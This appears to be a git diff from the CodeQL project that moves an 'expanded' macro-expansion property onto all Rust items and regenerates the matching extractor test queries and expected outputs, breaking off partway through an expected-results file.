+import codeql.rust.elements +import TestUtils + +from Function x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql index 5af0d0da0d44..cc7ffd762088 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql @@ -3,9 +3,10 @@ import codeql.rust.elements import TestUtils from - Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAssocItemList, - int getNumberOfAttrs, string hasGenericParamList, string isConst, string isDefault, - string isUnsafe, string hasSelfTy, string hasTrait, string hasVisibility, string hasWhereClause + Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + string hasAssocItemList, int getNumberOfAttrs, string hasGenericParamList, string isConst, + string isDefault, string isUnsafe, string hasSelfTy, string hasTrait, string hasVisibility, + string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +16,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -26,7 +28,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasGenericParamList:", hasGenericParamList, "isConst:", isConst, "isDefault:", isDefault, - "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", hasTrait, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", + getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isConst:", isConst, "isDefault:", + isDefault, "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", hasTrait, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql new file mode 100644 index 000000000000..dc85f4c06fdb --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Impl x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql index 56044c127c26..c9fa32e3c00e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasPath, string hasTokenTree, string hasExpanded + MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasPath, string hasTokenTree where toBeTested(x) and not x.isUnknown() and @@ -14,10 +14,10 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasPath() then hasPath = "yes" else hasPath = "no") and - (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and - if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no" + if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasPath:", hasPath, "hasTokenTree:", hasTokenTree, - "hasExpanded:", hasExpanded + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasPath:", hasPath, + "hasTokenTree:", hasTokenTree diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql index 957d5b9ea9ee..ed235d8312a6 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasArgs, - int getNumberOfAttrs, string hasBody, string hasName, string hasVisibility + MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + string hasArgs, int getNumberOfAttrs, string hasBody, string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,11 +14,12 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and (if x.hasArgs() then hasArgs = "yes" else hasArgs = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasArgs:", hasArgs, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "hasName:", - hasName, "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "hasArgs:", hasArgs, "getNumberOfAttrs:", getNumberOfAttrs, + "hasBody:", hasBody, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql new file mode 100644 index 000000000000..cc97ad20927b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroDef x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql index 7bdc462c01cd..a04df90d75d0 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasName, string hasTokenTree, string hasVisibility + MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasName, string hasTokenTree, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +14,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasName() then hasName = "yes" else hasName = "no") and (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasName:", hasName, "hasTokenTree:", hasTokenTree, - "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasName:", hasName, + "hasTokenTree:", hasTokenTree, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql new file mode 100644 index 000000000000..4fdf9f944698 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroRules x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Module/Module.ql b/rust/ql/test/extractor-tests/generated/Module/Module.ql index a33b7daa8954..8cf7f20a20fb 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.ql +++ b/rust/ql/test/extractor-tests/generated/Module/Module.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasItemList, string hasName, string hasVisibility + Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasItemList, string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +14,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasItemList() then hasItemList = "yes" else hasItemList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasItemList:", hasItemList, "hasName:", hasName, - "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasItemList:", hasItemList, + "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql new file mode 100644 index 000000000000..139b6d007dd6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Module x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.ql b/rust/ql/test/extractor-tests/generated/Static/Static.ql index fa0776ca377c..84a5077826bd 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.ql +++ b/rust/ql/test/extractor-tests/generated/Static/Static.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasBody, string isMut, string isStatic, string isUnsafe, string hasName, - string hasTypeRepr, string hasVisibility + Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasBody, string isMut, string isStatic, string isUnsafe, + string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isMut() then isMut = "yes" else isMut = "no") and @@ -24,6 +25,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isMut:", isMut, "isStatic:", - isStatic, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, - "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isMut:", + isMut, "isStatic:", isStatic, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeRepr:", + hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql new file mode 100644 index 000000000000..2f8c034f4c9a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Static x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql index d2b3a349386c..5e9936dd07fd 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasFieldList, string hasGenericParamList, string hasName, string hasVisibility, - string hasWhereClause + Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasFieldList, string hasGenericParamList, string hasName, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -22,6 +23,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasFieldList:", hasFieldList, "hasGenericParamList:", - hasGenericParamList, "hasName:", hasName, "hasVisibility:", hasVisibility, "hasWhereClause:", - hasWhereClause + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasFieldList:", hasFieldList, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasVisibility:", hasVisibility, + "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql new file mode 100644 index 000000000000..cd9b80356c43 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Struct x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql index b4548cddceee..c10c3685fc95 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql @@ -3,9 +3,10 @@ import codeql.rust.elements import TestUtils from - Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAssocItemList, - int getNumberOfAttrs, string hasGenericParamList, string isAuto, string isUnsafe, string hasName, - string hasTypeBoundList, string hasVisibility, string hasWhereClause + Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + string hasAssocItemList, int getNumberOfAttrs, string hasGenericParamList, string isAuto, + string isUnsafe, string hasName, string hasTypeBoundList, string hasVisibility, + string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +16,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -25,7 +27,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasGenericParamList:", hasGenericParamList, "isAuto:", isAuto, "isUnsafe:", isUnsafe, "hasName:", - hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", + getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isAuto:", isAuto, "isUnsafe:", + isUnsafe, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql new file mode 100644 index 000000000000..22425676ccb2 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Trait x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql index 80fe86e27493..d01a2bf22c7f 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasTypeBoundList, string hasVisibility, - string hasWhereClause + TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasTypeBoundList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +23,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", + hasGenericParamList, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql new file mode 100644 index 000000000000..3a8abe17f826 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from TraitAlias x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql index 16e92ed7e023..51544c36a820 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string isDefault, string hasName, string hasTypeRepr, - string hasTypeBoundList, string hasVisibility, string hasWhereClause + TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasGenericParamList, string isDefault, string hasName, + string hasTypeRepr, string hasTypeBoundList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.isDefault() then isDefault = "yes" else isDefault = "no") and @@ -24,6 +25,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isDefault:", - isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", - hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", + hasGenericParamList, "isDefault:", isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, + "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", + hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql new file mode 100644 index 000000000000..2a3857594228 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from TypeAlias x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.ql b/rust/ql/test/extractor-tests/generated/Union/Union.ql index a514017b7345..a5eb910d0b3c 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.ql +++ b/rust/ql/test/extractor-tests/generated/Union/Union.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasStructFieldList, string hasVisibility, - string hasWhereClause + Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasStructFieldList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,7 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +23,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasStructFieldList:", hasStructFieldList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", + hasGenericParamList, "hasName:", hasName, "hasStructFieldList:", hasStructFieldList, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql new file mode 100644 index 000000000000..d76e97d362a5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Union x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.ql b/rust/ql/test/extractor-tests/generated/Use/Use.ql index b88b3a693322..d88546c73fea 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.ql +++ b/rust/ql/test/extractor-tests/generated/Use/Use.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasUseTree, string hasVisibility + Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + int getNumberOfAttrs, string hasUseTree, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,8 +14,10 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasUseTree() then hasUseTree = "yes" else hasUseTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasUseTree:", hasUseTree, "hasVisibility:", hasVisibility + "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasUseTree:", hasUseTree, + "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql new file mode 100644 index 000000000000..39d2fa9f4f63 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Use x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpanded() diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index a5c3ff56651a..d6289e795c4f 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1232,7 +1232,6 @@ class _: todo!() ``` """ - expanded: optional[AstNode] | child | rust.detach @annotate(MacroDef) @@ -1945,4 +1944,4 @@ class FormatArgument(Locatable): @annotate(Item, add_bases=(Addressable,)) class _: - pass + expanded: optional[AstNode] | child | rust.detach | doc("expanded attribute or procedural macro call of this item") From adeaceb7afe7e3a9b4c8c97bf80a73f4a1784307 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 25 Apr 2025 17:41:13 +0200 Subject: [PATCH 008/535] Rust: accept test changes --- .../extractor-tests/generated/Function/Function.expected | 4 ++-- .../extractor-tests/generated/MacroCall/MacroCall.expected | 2 +- .../test/extractor-tests/generated/Module/Module.expected | 6 +++--- rust/ql/test/extractor-tests/generated/Trait/Trait.expected | 4 ++-- .../extractor-tests/generated/TypeAlias/TypeAlias.expected | 4 ++-- .../library-tests/dataflow/sources/TaintSources.expected | 1 + 6 files changed, 11 insertions(+), 10 deletions(-) diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.expected b/rust/ql/test/extractor-tests/generated/Function/Function.expected index b96996beef94..e37c985985a7 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.expected +++ b/rust/ql/test/extractor-tests/generated/Function/Function.expected @@ -1,2 +1,2 @@ -| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | -| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | 